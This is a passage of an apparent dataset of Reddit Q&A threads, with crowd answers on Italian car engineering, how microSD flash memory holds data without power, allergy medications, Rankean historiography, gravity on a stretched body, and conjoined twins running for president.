Audi/Porsche), they have lots of very good engineering and innovation, but because their cars cost a lot, you don't hear about it being advertised or brought up in mass mass media. Pagani, for example was at the cutting edge of materials science with a carbon fiber/titanium hybrid weave that I'm pretty sure is still unique to their brand and was worked on in conjunction with Boeing. ", "Because that is how the German car companies market their brand to Americans. In reality they are no better engineered than any other car; It is just marketing.", "Automotive engineer here.\n\nI'm British, and I've worked all over Europe, Americas, China etc. I've worked for most major car companies too, in some capacity. I have mostly worked with plastic molded parts and glazing, but specialised in CAD, composites, and problem solving.\n\nFirst up, I just want to dispel any idea that Germans are better engineers than anyone else. They really aren't. They are great organisers tho.\n\nHere are some things to think about.\n\nIn many ways it's much much harder to engineer a tiny car that has to perform well with regard to family requirements, sporty fun, economy, reliability, initial cost etc, than a supercar that is just sporty fun and slightly reliable.\n\nThe Germans have a reputation for \"over-engineering\" a vehicle.\nThis is down to the German mentality. Many/most German Engineers that I have worked with are terrifically well organised, and need very little management or oversight with regard to their work.\nI worked in BMW for a time, and was able to observe the design processes. \nA German engineer's mentality seems to be that something is not done right unless they did it right them self. Now multiply that mentality as that design goes through the system from CAD to initial prototype build, quality assessments, production trials, then final build, there are literally hundreds of German engineers all thinking that part needs to be designed right, or corrected by themselves. This makes for a thoroughly designed vehicle.\n\nIt's also a very inefficient design process. It takes BMW 2-3 years longer to get a vehicle out than most other manufacturers. When a new BMW is launched, it's replacement is 2-3 years into development.\n\nThe downsides to this are cost, slow/late introduction of new technologies, lower profits per vehicle...\n\nA good example of the downsides would be the manufacturing race between Germany and Russia building tanks for the Battle of Kursk.\nBoth countries ramped up tank production for the big game. The German Panzers and Tigers vs Russian T's and SU's. The German talks were beautifully designed, but an absolute pain in the arse to produce, with a lot of machining, whereas the Russian tanks were of a simpler design, tough, and were a mix of cast and pressed parts, which is a much simpler and cheaper process. At the time of the battle, the Germans has amassed over 3000 tanks, but the Russians had over 7000. Russian losses were higher, but they won. It was the turning point in the war.\n\nThe other downside to the German mentality is that they are not free-thinkers. They are less creative than either the Italians, British, or Americans. I'm talking about engineering solutions rather than vehicle styling here. I was recruited into BMW as an ideas guy, a problem solver.\n\nThe Italians...  Like Italian cars, their engineers excel in some areas, but are let down in others. Italian car stylers are the best. They are the felt-tip bow-tie architect of the automotive world, and all car companies have one.\nThe Italians can do things with glass that leaves the rest of the world in awe.\nTheir engineering part design is elegant, and world-beating in many ways. Its implementation is shit though. They can't organise anything. I was party to an FMEA meeting (failure modes - or what ways could this part fail? ) and the Italians simply announced that the part won't fail, and walked out angrily waving their arms about.\n\nTl;dr.. It's much easier to design a large supercar with a single no-compromise feature (speed), than a small vehicle that has to meet many different requirements with minimal compromise.", "First there was a man named Enzo Ferrari.  Enzo was a race car driver in Italy in the early 1900s.  In 1932 he founded his own racing team, Scuderia Ferrari, where he was the team principal who designed and built race cars.  Unfortunately, designing and racing cars at the highest level is very expensive, so in order to ensure that his racing team was well funded he started designing and manufacturing high-end road cars for discerning and wealthy car sports car enthusiasts.  They were extremely successful on the track and and on road.\n\nOne customer of Ferrari was Ferrucio Lamborghini, a wealthy manufacturer of industrial equipment, including tractors.  He liked his Ferraris, but he had some ideas that he thought would make them better.  When his suggestions to Enzo fell on deaf ears, he decided that he could build a better sports car than Ferrari, and in 1963 he founded Automobili Lamborghini to make sports cars.  They were also fairly successful.\n\nThen there was an Argentinian engineer and racing enthusiast named Horacio Pagani who was friends with Juan Manual Fangio (one of the greatest Formula 1 drivers in history).  On Fangio's recommendation, Pagani was able to get a job designing race cars.  He eventually was a chief engineer with Lamborghini, and contributed heavily to several key cars including the 25th anniversary Countach and the Countach Evoluzione.  \n\nOne area of special interest for Pagani was the use of carbon fibre composites, a very lightweight and strong material that could be used to manufacture components for high performance cars (where minimizing weight was key).  He tried to convince Lamborghini to invest heavily in this technology, but Lamborghini wasn't interested.  Consequently Pagani secured funding to buy the necessary equipment on his own, and started his own company in 1991 to make carbon fibre components for high performance cars, primarily race cars.  In 1993 he founded Pagani Automobili to make fully carbon-fiber sports cars, and they have been in business since.\n\nSo that's where the three Italian examples you named came from.  Italy is a country that, in the early days of auto manufacturing, had a passion for fast cars and racing, so that is the direction that a portion of their industry went.  The other big Italian car brand (which incidentally owned most of Ferrari until their recent IPO) is Fiat.  They're better known for \"daily driver\" cars for working class people.\n\nThere were similar things happening in other countries as well, leading to a number of high end German, British, American, and French manufacturers.  Some have been more successful than others, and the less successful ones have gone out of business.  For example, in Germany the race car manufacturers in the early days were Mercedes-Benz (or their predecessor companies) and Auto Union (which eventually became Audi).  ", "Lamborghini is now owned by Volkswagen/Audi/Porsche (all same brand).  Pagani has a working relationship with Daimler (Mercedes) who provided the Pagani Zonda engines...", "\"We never hear about their prowess in engineering\". The key word is \"hear\". It's a market placement problem. Many of the best Italian products are either in parts (say, Brembo, Magneti Marelli) or in non-consumer fields. Impregilo is one of the top construction companies in the world. Finmeccanica is a huge defense and mechanical engineering conglomerate. ENI was a \"disruptor\" (I hate this word) in the petrochemical industry back in the '60s, based in a country with practically no fossil resources, and is still a very large company today (and I think they also oversee construction and operation of major power plants around the world, both renewable energy and traditional). Some of the best small arms are Italian (eg. Beretta, Benelli). Olivetti, before the death of its owner and director, was one of the leading electronics companies in Europe and sort of an Apple-before-Apple type of company. In the loudspeaker industry, most of the best woofers and tweeters for pro audio are manufactured by Italian companies in Italy (eg. RCF, B & C).\n\nFIAT cars are infamous for quality and reliability, sure. But is that so? Keep in mind that FIAT has won \"Car of the Year\" more than any other manufacturer (with lots of pioneering designs, eg. the Fiat 127, one of the first - if not *the* first - hatchbacks). Furthermore, FIAT traditionally catered mostly for an Italian public, which had a much lower spending power compared to other Western countries. Cars had to be cheap to buy, cheap to run and cheap to repair. You'll find that historically most of the problems with FIAT cars are marginal and don't hinder functionality, and could be cheaply repaired by any half-decent mechanic. The glorious 500 was a masterpiece of engineering, with an economical and reliable engine, very large interior for its size and low price. FIRE engines had the least amount of parts when they were first released, and were very durable. FIAT also pioneered automation (the Ritmo, known as Strada in the US/UK, was the first or one of the first \"robot-built\" cars). Common-rail diesel engines were developed in Italy and FIAT Multijet engines are some of the best small diesel engines around. In general mechanical engineering is very strong in Italy, with a strong tradition and expertise.\n\nAmericans have a very distorted opinion of Italians in general.", "As someone that has spent a lot of time in Italy I feel that they are one of the most misrepresented nations in general knowledge. Italy has a tradition of engineering excellence in several fields (space, heavy machinery, trains, shipbuilding, armaments and so on...), generally speaking mass production is not what they do best, but they do precision work better than most. In carmaking in particular, since this is what you were asking, brands that are now part of the Fiat/Chrysler group have been leaders in innovation up to the early 90s.  It is not without reason that big conglomerates have been going shopping for struggling companies in Italy.", "Isn't Lamborghini owned by Germans nowadays? Correct me if I'm wrong.", "Italy had an active, growing racing scene in the 20's and 30's. This spurred a want for gentleman's sports cars. Ferrari, Abarth and others filled that need. These cars and drivers won a lot of races and so their companies became hugely succesful. \n\nThis was all possible because Italy's car manufacturing was already huge by this time.", "I did some work in one of the larger sock manufacturing factories in the US. Every single super high tech sock loom was Italian. There were a variety of types and manufacturers, but all Italian.", "\"German engineering\" is an outdated myth.  \n\nAnd, the Italians can design and style like no one else.  \n\n", "Its because a stereotype of Germans is that they are very efficient and analytically minded, and therefore suited for STEM subjects.", "The reason is more simple than you think.\n\nThe brands you've mentioned don't need to advertise. If you need to know how much it is, you can't afford it. Therefore word of mouth is all that is required.\n\nFor instance, Ferrari doesn't direct advertise. They get their marketing exposure solely through their involvement in formula 1. That alone sells their engineering prowess.\n\nYou hear about the German engineering thanks to marketing. Those brands (Audi, Porsche, BMW, Mercedes) are at a price point advice the average person's means and so there's no use competing on price as they'd only devalue their market niche over time.\n\nInstead they've decided to compete on something more ethereal like engineering skill. It doesn't mean anything meaningful to their intended customers but serves to hide the price of their offering. Smoke and mirrors.\n\nYou don't hear about super cars - including the Italian ones mentioned - in the save way because they're not competing on the same field. They're at a whole different level.", "A lot of what goes into a supercar company is pedigree.\n\nIf France was the cradle of motor racing, Italy was the nursery of motor racing, in that a lot of very important events began there, and so a lot of the cars that competed in those events and won them were of Italian design.\n\nThis matters to today's supercar buyers, both because decades of motor racing background breeds good engineers and because of the nostalgia/pedigree factor.\n\nThe Mille Miglia and the Targa Florio come to mind as among the most important prewar events that saw a lot of participation from Alfa and Maserati, among others.  Obviously Ferrari didn't quite exist as it's own concern for most of the prewar period.", "What I want to know is why German engineers get any credibility in regard to the modern VWs with powered windows. \n\nI mean does anyone have a VW older than 6 years with a window that doesn't sound like a rock-tumbler motor when rolling up? \n\n", "This video was made by the Italian Ministry of Economic Development.   \n[Italy the Extraordinary Commonplace](_URL_0_)\n\nItaly is a leader on a lot of industries, most of which are not for mass consumption like cars.", "The Arduino was designed in Italy. Foam cutting software, devPro, is from Italy. 2-stroke Novarossi model airplane engines are from Italy. I'm sure there are more great scientific products from Italy.", "anyone own a bmw or mercedes or audi?\n\nI owned a 3 series for about 5 years before i gave up and sold it.\nGreat car when its running. The problem is its so hard to work on. Everything is so tucked into everything else. To do anything at all is a hassle. Alot of the times it has to go to the dealership to get the repairs because its so damn annoying. My sister has an audi S4 with 20 thousand miles. Her cv axle is already busted. Gotta replace that now. To change the timing chain on it, you have to remove the engine from the chassis. It was meant to last as long as the cars lifetime but some people are saying that it cant break at 50k miles for some people. \n\nnever buying german again. only japanese and american from here on out.\n\ngot a 2015 wrangler with 100k 5 year warranty last year.\n", "Italy was among the cutting edge of engine development during the inter war and pre war period.  If you look, early racing cars are all Italian or France. Germany was more of backward farming about to emerge as world power.\n\nA counter example would be Japan. Now Japanese car are dominating, but before war, they are quite small. Most of it are a result of post war boom.  Lexus LFX is among the most well engineered super car in the world. But it really doesn't have the same aura as Ferrari. (A brand with most winning race in history.)\n\nAs for what specific engineering detail or current consumer preference of Italian super car... don't know detail.\n\n.\n\nHistory of F1 race\n\n_URL_1_\n\n10 Historic Car Races that shaped Motor Racing\n\n_URL_0_", "Italians and the Ferrari company and Enzo Ferrari himself love(d) Formula 1 circuit racing. In fact Ferrari sold cars to fund their F1 team. Most companies are the other way around, such as Honda supporting an F1 team for marketing purposes and eventually pulling out. So all that race car engineering and expertise goes into the Ferrari production cars. Now an F1 engine would only last a SINGLE race!  (In 2011 they were required to last 5 race weekends and today 4000 km or about 2500miles). So reliability is not their forte. Ferraris (and many exotics) are known to catch on fire pretty easily (ask the guys at Gotham Dream Cars). Ferrari owners complain about reliability and maintenance costs. Lamborghini was born when Enzo Ferrari would not sell a car to Ferrucio Lamborghini and so Ferrucio decided to start his own car company to rival Ferrari. He did not want a high revving dry sump racing type of engine but something more behaved. So even today Lambos don't have the racing quality of Ferraris. In spite of being wide and all wheel drive they easily spin out compared to a lighter more refined Ferrari. The Ferrari dual clutch transmission is also much smoother and is the fasted on any production car. But the Lambos have a very distinct futuristic look and more bass in their exhaust note. Pagani tries to combine both the futuristic look with racing engine specs but at a very high cost and low production volume. So that's my take on it. ", "Italy produces a huge amount of engineered and designer goods because the country has next to no exploitable natural resources and therefore relies on the exportation of value added goods.The sheer volume of manufactured goods exported guarantees that a considerable amount will suffer from some defect or _URL_1_ is amazing what Italy as an exporter of consumer goods, has achieved since WWII when it was still largely agrarian.Italian design is occasionally,like German design,unnecessarily complicated but never boring.The rest of the world buys Italian machinery because it works,or they would have been out of business long ago.The horror stories are always blown out of proportion by parties who see Italy as competition.Italians scoff at the derogatory naysayers by designing even cooler stuff than _URL_0_ the end,Italian flair for inventiveness and industriousness,although not perfect, are world class .", "Lamborghini belong to Audi, and through that VW (German).\n\nPagani get their engines from Mercedes AMG department (German) and only build a handful of cars so not really on any comparable scale to say Mercedes, BMW, Porsche, Audi and other German car manufacturers.\n\nFerrari  &  Maserati are truly Italian and owned by FIAT Group.\n\nThen again, poor stereotyping as Fiats, Lancias and Alfas have come a long way in terms of improvement in the last decade."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.dailymail.co.uk/tvshowbiz/article-2112106/Cristiano-Ronaldos-brand-new-200K-Lamborghini-towed-away-breaking-down.html", "http://www.dailymail.co.uk/news/article-1308061/Ferrari-recalls-cursed-supercar-FIVE-458-Italias-burst-flames.html"], [], [], [], [], [], [], [], [], [], [], ["https://en.wikipedia.org/wiki/List_of_oldest_universities_in_continuous_operation"], [], [], [], [], [], [], [], [], [], [], [], ["https://en.m.wikipedia.org/wiki/List_of_automobile_manufacturers_of_Italy"], [], ["https://en.wikipedia.org/wiki/List_of_companies_of_Italy", "https://en.wikipedia.org/wiki/List_of_automobile_manufacturers_of_Italy"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["https://www.youtube.com/watch?v=LaXqHU32bm4"], [], [], ["http://listverse.com/2011/06/27/10-historic-car-races-that-shaped-motor-racing/", "https://en.wikipedia.org/wiki/History_of_Formula_One"], [], ["before.In", "other.It"], []]}
{"q_id": "f0d1fq", "title": "how are micro sd cards able to store entire tv shows, albums and movies without any kind of electricity to keep them \"active\"?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/f0d1fq/eli5_how_are_micro_sd_cards_able_to_store_entire/", "answers": {"a_id": ["fgt0k5k", "fgt0wvx", "fgt1lkb", "fgt1p4q", "fgtupnx", "fgtusa0", "fgtvk2q", "fgtvl9b", "fgtxeps", "fgtxkej", "fgtxq6h", "fgtyd6z", "fgtytgz", "fgtz7du", "fgtzki4", "fgu1df4", "fgub3xy", "fgudsjf", "fgukk91", "fgunyde", "fgurgdq", "fgv3gnu", "fgv59rv", "fgvoxwt", "fgvxds2", "fgwnknv"], "score": [56, 131, 2308, 301, 3, 3, 119, 13471, 2, 8, 9, 13, 23, 3, 3, 5, 3, 2, 3, 18, 2, 3, 2, 2, 3, 2], "text": ["Electric charge is stored in tiny capacitors built into microscopic transistors. In quality parts the charge takes years to leak out, but flash cards are not archival storage for the long term.", "Your regular hard drives also store everything saved on them while unpowered same as a SD card, and you also need electricity to read/write on both though the cards require less.\n\nThe difference between the two is that regular hard drives save data magnetically on a spinning disk while SD cards save it electrically on millions of tiny transistors.", "The way any type of flash memory works, uses what's called Non Volatile storage. \n\nA common one is called NAND flash and here's a way of visualizing how it works. \n\nTo represent one cell, one 'bit' of storage, imagine there is a tank of water with a pipe leading into it, and a pipe leading out of it.  \n\nLike this: \n\n         \n         Pipe in===|       |=== Pipe Out \n                   |       |  \n                   |  Tank | \n                   |_  _ _ |\n                       || \n                      Drain\n\n\nImagine, normally, the tank is full. \n\nSo if you pump water into the tank, it will come pretty quickly out of the other pipe, because the level is full. \n\nLet's call that a \"0\" state. \n\nNow, you want to write data into that cell, so what you do is you drain a bit of the water level off, so the tank is sitting half full. \n\nLet's call that a \"1\" state. \n\nHow do you determine what state that cell is in? \n\nYou pump in a set amount of water. If the tank is full, you'll get flow from the output immediately. If you don't, all that will happen is the tank will fill a little, but you'll get no output. \n\nThat way you know what's what, and once it's been set, it doesn't matter if there's power to it or not, it'll remain as it was. \n\nThat's not a perfect analogy, but it's roughly how the individual cells of storage work in flash memory. Instead of water, though, you have electrical charge.", "Basically they have a process (Fowler-Nordheim Tunneling) to trap electrons in an area surrounded by insulators, so the electrons can't go anywhere.  Now, if they have electrons trapped, it creates a change in the local electric field compared to if there weren't electrons trapped there.  They can use the electric field to switch on and off a current flow that is external to the trapped electrons.\n\nSo, because the electrons are trapped, and surrounded by insulators, you don't have to apply power, unless you want to read the memory.", "Each bit of data is like a switch.  It can be on or off. Just like a light switch it doesn't need to have electricity to stay in whichever state it is.", "This is a great question with great answers! But I just cant seem to grasp how a sound or video is stored on an object.. it's crazy awesome though", "They \"cheat\" and there's static electricity in them. Microscopic amounts, but it's still there.\n\nThey work similarly to how you get zapped when wearing a wool sweater. Electrons get trapped in billions of tiny \"wells\", which makes up the ones and zeros on the chip.", "\nimagine it's like those little push buttons on the top of a soda cup.  The ones that indicate if it's diet, or Dr. Pepper, or whatever.\n\nAn SD card has millions of those little buttons. They can be pushed back and forth, showing up or down, (0 or 1).  They stay in the position they are in regardless of power.", "This isn't a perfect analogy but how about this. Image you need to go shopping and you need to write down a shopping list on a piece of paper. The pencil is electricity and the paper is the hard drive. When you first get a piece of paper it's blank. After you use the pencil to write down your list, it's stored on the paper. When we write data to an SD card it's the same way, the computer writes to the hard drive like your pencil writes on the paper. Then when you put that hard drive on another computer (or the same) the computer reads from the hard drive just like you read from the paper when you're at the store.", "I really like fluid analogies for electricity because it really gives you a *feel* for how electricity flows.  But it isnt a perfect analogy.  \n\nIf top comment didnt quite connect with you, perhaps the following will help.\n\nImagine there are millions of super tiny switches in your sd card.  You can send signals via one pathway to turn certain switches on and off.  This is how data is written to the card.   In order to read the data, another seperate pathway through those same switches determines which switches are on and which are off.  It uses some clever properties of electronics to do this that I dont personally understand.\n\n\n  \nOn switches are read by the processor as \"1\" and off switches are read as \"0\".   These ones and zeros are then read as a sort of code called \"binary\" that your computer then converts into real usable data using a decoder(programming language, essentially).   \n\nEven when you remove the electricity to the whole thing, those switches are still in either their on or off positions.  When you plug it back in, the computer only sends electricity through the \"read\" pathway so as not to disturb the positions of said switches until you decide to \"write\" something new to those same cells.\n\n\nThis isnt quite how it works, really... I'm pretty sure... I'm far from an expert.   But its a useful way to think about it.", "Imagine you've got a table full of rechargeable AA batteries, a battery charger, and a lightbulb.\n\nIf a battery is fully charged, that represents a binary 0.  If the battery's not fully charged, that represents a binary 1.\n\nInitially, all of the batteries are fully charged.  So if you have 8 batteries, the data is just 0-0-0-0-0-0-0-0 (8 bits, which in this case represents the decimal value zero).  You can check each value (each bit) by putting its battery into the battery charger and seeing if the \"charging\" light comes on.  Even if you check a week later, they're still all fully charged.\n\nNow let's say  you want to write the first piece of movie data.  Let's say it's the number 128; to do that, you want to encode a 1 into the first bit position (the first battery).  You'd hook up a light bulb to the first battery, and let it discharge for a while.  After an hour, you take the bulb off, and the battery's only half full.\n\nA week later if you check each battery with the charger, you'll see they're all still full, *except* that one you discharged.  There's the bit we set!  Your data is reads out as 10000000 (128), as expected.  If you want to reset it back to 00000000, then you hook up the battery charger to that first battery, but *this time* actually press the start button.  Once the charging light turns off, you're done!\n\nNow, imagine this scaled waaaaay down (using capacitors instead of batteries), and operating lightning fast.  That's an SD card, and a marvel of technology.\n\nTechnically speaking, batteries store their energy using a chemical reaction, while capacitors store the actual static electric charge, and some of that charge does leak out (since barriers holding the static electrons aren't perfect, and electrons are even able to \"tunnel\" through otherwise impermiable barriers, thanks to the bizarreness of quantum mechanics).  So, over many years, SD cards *will* lose data, however they also implement some corrective algorithms to minimize it within timeframes we normally worry about.  Still, an SD card likely won't hold its data for hundreds of years.", "Books don't need ink to keep the words active. Once they're written, they're always there. \n\nSD cards need energy in the form of electricity to be read, books need energy in the form of you (opening the book and reading the words) to be read.", "They store bits by sandwiching them between an insulating material. Because the electrons are sandwiched in the insulator they will stay there even when you power the flash memory off.\n\nThe data does leak over time but so slowly that you can store it for decades without having to refresh it.", "Because if charge (your data) has no where to flow it can stay where it is. In that case  data is only lost if charge escapes by diffusion. You don't need to act on a charge reservoir in any way to keep it \"active\" its just there, ready to do work.", "Basically, in an oversimplified analogy, each bit is a trap that holds a charge even when power is cut. It still needs elecricity to read/write the data, but can hold onto the electrons until needed", "Think of your SD cards as an arrangement of 1s and 0s which make up your data storage.\n\nNow imagine your house is an SD card, your light switches in your house at any given time are either in an on (1) or off (0) position.\n\nIf your house loses power or electricity, the switches are set in place even if they don\u2019t have power, and when the power is restored the on (1) and off (0) positions in their original position.", "Much like a piece of paper can store information when a pencil is applied. The state of the object changes. It is not stored as energy, it is stored as matter.", "The same way a note book doesn't need power. The computer or phone or whatever, writes in the SD card, and it stays there.", "If you make really pure and flat sand, and make pictures in it using the kind of light that gives you sunburn, you can make boxes that trap lightning in them if you jam the lightning in hard enough. It takes very little energy to see if the lightning is still inside or not, but if you jam a lot more lightning in later you can empty the box. Usually you just put new lightning in an empty box and ignore the one you wanted to empty until you can empty a whole row of boxes at once, since you might do that accidentally (lightning spills easily when you have a lot of it being jammed into boxes). \n\nIf you make a few trillion boxes you can store enough instructions to make a TV play any movie or show you want. \n\nThis works because most chemical elements either really don\u2019t like lightening and will just heat up a ton and vaporize, and other elements like lightening so much they just let it pass through without much complaint. \n\nSand is made up of a lot of stuff that has rules about how much lightening can go in which direction and when.", "Your mind is gonna be blown when you find out about CDs, DVDs, floppy disks, laser disk, BetaMax, VHS, Hard drives, ect.", "There *is* electricity keeping them \"active\" but they use a type of memory that doesn't require a constant upkeep of power. If you fill a balloon with helium then let go, the balloon will deflate, but if you fill it up and tie a knot in the opening, it will stay inflated for several days. It will still deflate over time, but you don't have to keep a constant supply of helium on hand.\n\nThe electrons are literally trapped inside the transistor (the thing that stores a bit of data) to signify a 1 (or a 0. The sign convention is arbitrary,) but due to the weirdness of quantum mechanics, they sometimes stop being trapped and escape.", "An SD card is like a tiny book with information in it. The book/sd card does not need electricity to hold information. But yes to change and access that information.", "All computer data is binary, 1 or 0. The sd card has lots of tiny, physical, binary switches that can be electronically read from, or written to. So you can write the data on those switches, to be stored without electricity, you just need to power the controller to do anything practical with the physical patterns of switches that is \"binary data\". \n\nSSDs use a similar physical binary system, whereas conventional hard drives use a magnetic head to read and write to tiny magnet cells on metal discs.\n\nEach switch is a bit, a 1 or a 0.\n\n8 bits in a byte\n\nKilo =1,000\n\nMega=1,000,000\n\nGiga=1,000,000,000\n\nSo a MegaByte is 8 million switches, so on, and so forth.\n\nA 256GB micro SD card has 2 trillion in a surface area of a square cm or two.  \n\nNand flash, the array of these switches, usually aren't entirely flat though so it's likely a much greater relative volume compared to a flat plane.", "Don\u2019t think of it as storing data, but rather like a hand-written note about how to do a task in a language you don\u2019t understand.\n\nThe 0s and 1s translate to machine code which essentially tells the computer reading what to do.", "Active is bad.  Active changes things.  For storage you want things to stay in the position you put them in, you only need power to change it to something else.", "I feel like this questions if really about all my Super Nintendo saves that blew into the digital ether...."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "6fyy3g", "title": "Why are there pills for some allergies but not others? Example: there are pills for seasonal allergies but not for peanut allergies.", "selftext": "Got my first mosquito bite of the summer today! Itches like a mother lover. I applied some anti-itch cream which seemed to help, but I couldn't help but wonder why we have pills for certain types of allergies and not for, say, a mosquito saliva allergy.\n\nAm I missing something here? Are all allergies really that different? If so what makes them that way?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/6fyy3g/why_are_there_pills_for_some_allergies_but_not/", "answers": {"a_id": ["dim86p5", "dim8adx", "dimhngk", "dinwuzz"], "score": [9, 54, 6, 2], "text": ["It's the severity of the allergic reaction and the risk of the allergy that determines whether or not an anti-histamine (allergy medication) can take care of it. If someone has a really mild peanut allergy that only causes itchy eyes or hives, Benadryl can probably take care of it. They still should just avoid peanuts, though, because they are still at risk of an anaphylactic reaction with peanuts, in which blood pressure drops and airways narrow. Anaphylactic reactions are life threatening and is treated with epinephrine since it acts fast enough. An anti-histamine simply does not act fast enough and isn't \"strong enough\" to handle severe allergic reactions. Seasonal allergies are generally on the milder end of allergic reactions, so anti-histamines can handle them.", "There are.  \n\n\nThe problem with some allergic reactions eg peanuts, is the rate of onset of the reaction.  This is mostly due to either the concentration of the the allergen or the host's sensitivity to a particular allergen.  \n\nYour seasonal allergy medicine is designed to work against a relatively low level of physiological reaction (low concentration of antigen or lower immune response).  Meanwhile, high dose epinephrine (eg. EpiPen) can counter the inflammatory response to a high level allergic reaction. \n\nThe main reason that we don't take those medications on a continual preventative basis is that the side effects include all sorts of bad things up to and including cardiac arrest.  So most of the time, people are better off waiting until they start having a reaction and then taking their medicine, if they have a known allergy problem.", "I do allergenic extract review with a national regulator and there are plenty of peanut extracts coming through the pipeline in tablet form. The major factor is development time, but another issue is their status as biologics.\n\n\nCurrently, many countries don't regulate them as stringently as injectables, but that is slowly changing. By the time some products make it to review in one country, they may start to be regulated differently in their home country/region. This can cause delays in the review process or time to submission by the manufacturer.\n\nTL;DR they're coming, for everything", "Allergies in medical parlance are known as hypersensitivity reactions, and there are 4 or 5 different types of these reactions.  This wikipedia page covers it well:\n\n_URL_0_\n\nThe core differences between these type of reactions is whether body mounts a systemic (i.e. entire body) response, or localized (i.e. at the site of mosquito bite) response.  A secondary difference is the speed with which the body responds. \n\nFor class 1 reactions (a true anaphylaxis to peanuts), the reaction is the entire body and within minutes.  It tends to cause almost immediate swelling of the tongue, airway, esophagus, and can compromise the airway (i.e. choke someone).   Please note, not all people who are allergic to peanuts have a class 1 reaction, any of them are possible.  This can be confusing.\n\nSimilarly, a mosquito bite is typically a class 4 reaction; hallmarked by swelling at the site of the bite only and taking minutes to hours to manifest.  That said a mosquito bite can rarely be a class 1 reaction, and immediately life-threatening.  \n\nSo, the class of reaction determines which level of medicine(s) should be employed.  For someone having a class 1 reaction they will get a cocktail of epinephrine (adrenaline), diphenhydramine (benadryl), pepcid, and hydrocortisone along with humidified oxygen and intubation (a breathing tube) if necessary.  All of these medicines/ interventions also have side effects - some strong - so should not be utilized for other classes of reactions.  \n\nSo for your mosquito bite, the topical cream probably was best.  Most oral or IV medications would effect all parts of your body, rather than only the itchy spot.  Most of these medications would make you sleepy, confused, and even lower your immune system.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://en.wikipedia.org/wiki/Hypersensitivity"]]}
{"q_id": "3rwt15", "title": "What exactly is Rankean historiography(or the style of historiography pioneered by Leopold von Ranke)? Why has it been rendered obsolete/gone out of style now?(more inside).", "selftext": "From this article(quoting from it):\n\n > where the search for its past was sought to be secured by \u2018scientific\u2019 means. This, as in other parts of social sciences, owed its existence to thinking pioneered in Germany in the 19th century. In history, it was the historian Leopold von Ranke (1795-1886) who sought to ground history writing in unimpeachable facts based on sources as close to the event or person whose history was being written. If the relevant sources could not be found, then one could not write a \u2018scientific\u2019 history. Today, the Rankean view is considered archaic at best; at worst it is considered a positive hindrance to understanding the past.\n\nThe article: _URL_0_", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3rwt15/what_exactly_is_rankean_historiographyor_the/", "answers": {"a_id": ["cws2ki4"], "score": [3], "text": ["As you pointed out, Ranke and other historians of the time prized prized factual-based evidence as the only way to write entirely accurate history. This may seem positive at first, but it's essentially an impossibility, as historical writing is inherently subjective. First off, a historian simply can not include every relevant or semi-relevant piece of evidence and therefore has to choose which facts best are most relevant, which will always be a subjective process. Additionally, facts are only beneficial when presented in a certain historical context. As such, it is up to the historian to interpret these facts, which is again a biased process. For example, I could look at factual historical evidence, such as a chart of the growth of suburban housing construction following WWII, but without being able to place it into a larger, subjective historical context it's of little real interest. Essentially, the historical process of Ranke is obsolete because it is too naive a way of examining history and historical writing, and even if it were not, it would be impossible to fully utilize. When writing history, there will always be some bias on the part of the writer. \n\nI hope this was helpful. I'm a history undergrad interested in historiography. If this interests you, I'd recommend EH Carr's book What Is History?, especially the first chapter. At one point he mentions that while facts are necessary for a historian, they are not the main function of a historian - it is how one chooses to interpret facts that is important - and that is what Ranke specifically ignored."]}, "title_urls": [], "selftext_urls": ["http://m.openthemagazine.com/redeeming-the-historian-from-history"], "answers_urls": [[]]}
{"q_id": "1r9r7m", "title": "Assume someone's body mass was able to be stretched in a way such that it would reach beyond the Earth's atmosphere, into space. What would a scale say his (or her) weight was.", "selftext": "So basically the feet are on earth but the head is in space, how would W=mg apply here? \n\n(For theoretical purposes, let's assume half the body mass was on Earth and the other half in space)", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1r9r7m/assume_someones_body_mass_was_able_to_be/", "answers": {"a_id": ["cdl94jj"], "score": [4], "text": ["You'd have to sum up the contribution from each height.\n\nIf you assume a constant density and cross section ( which isn't exactly true for a person, but you could make it more complicated if you want) would be the integral from r=6380 km to r=6580 km (or whatever) of GMdA/r^2 by dr where G is the gravitational constant, M is the mass of Earth, d is the density, A is the cross sectional area, and r is the radial position.\n\nFor heights much less than the diameter of the Earth, just using mg isn't too too wrong."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "9at64a", "title": "would it be possible for conjoined twins to run for president of the united states?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9at64a/eli5_would_it_be_possible_for_conjoined_twins_to/", "answers": {"a_id": ["e4xwfyr", "e4xwig9", "e4xwmos", "e4xx0lg", "e4xxhye", "e4xz14i", "e4xz4pp", "e4xz69x", "e4y1e1h", "e4y1h88"], "score": [495, 65, 7, 89, 5, 3, 22, 3, 2, 2], "text": ["Legally In the US conjoined twins are two seperate people, so while they both could run only one can be the president. One could be the Vice President while the other is President though. ", "In the USA, at least, conjoined twins are legally considered unique persons. This means that Twin A could run for President and potentially win, and Twin B would not be considered President.\n\nOf course, that's all we can say to the hypothetical. Until it happens, we can't really know exactly what would go down.", "Wouldn't be a problem. Twin would probably have to get a security clearance. That's about it", "Curious, how many pairs of conjoined twins are there in the US? Are most of them surgically separated nowadays or are there still instances where that isn't possible?", "So that means whoever is 3rd in charge. I forget how the order of succession goes..but they would be the one that has to be off scene for state of union addresses and such? ", "What if they ran on opposing platforms?\n\nEdit -unfucked my comment ", "only one would be president. The other one would probably be something like The First Sibling, or something like that. ", "Is this really an ELI5 question?", "I think another good question might be \"how would a pair of conjoined twins win the presidency,\" because I feel as though a lot of people would try to ostracize them. If you think name calling during the elections nowadays is bad, that would be kicking a hornet's nest for all kinds of insensitivity and bigotry.\n\nBut anyway, yeah, they're legally considered two separate beings and thusly one of the twins would be president and the other would just be a civilian from a legal standpoint.", "To OP, have you heard of who is currently in office?"]}, "title_urls": [], 